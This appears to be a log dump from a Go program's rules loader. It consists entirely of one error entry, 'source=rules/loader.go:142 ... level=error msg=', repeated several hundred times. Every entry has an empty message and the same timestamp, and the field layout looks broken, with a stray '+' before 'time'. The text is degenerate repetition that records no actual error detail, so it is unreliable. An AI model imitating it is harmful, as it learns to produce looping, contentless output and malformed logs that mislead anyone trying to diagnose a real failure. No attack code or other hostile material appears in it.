source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 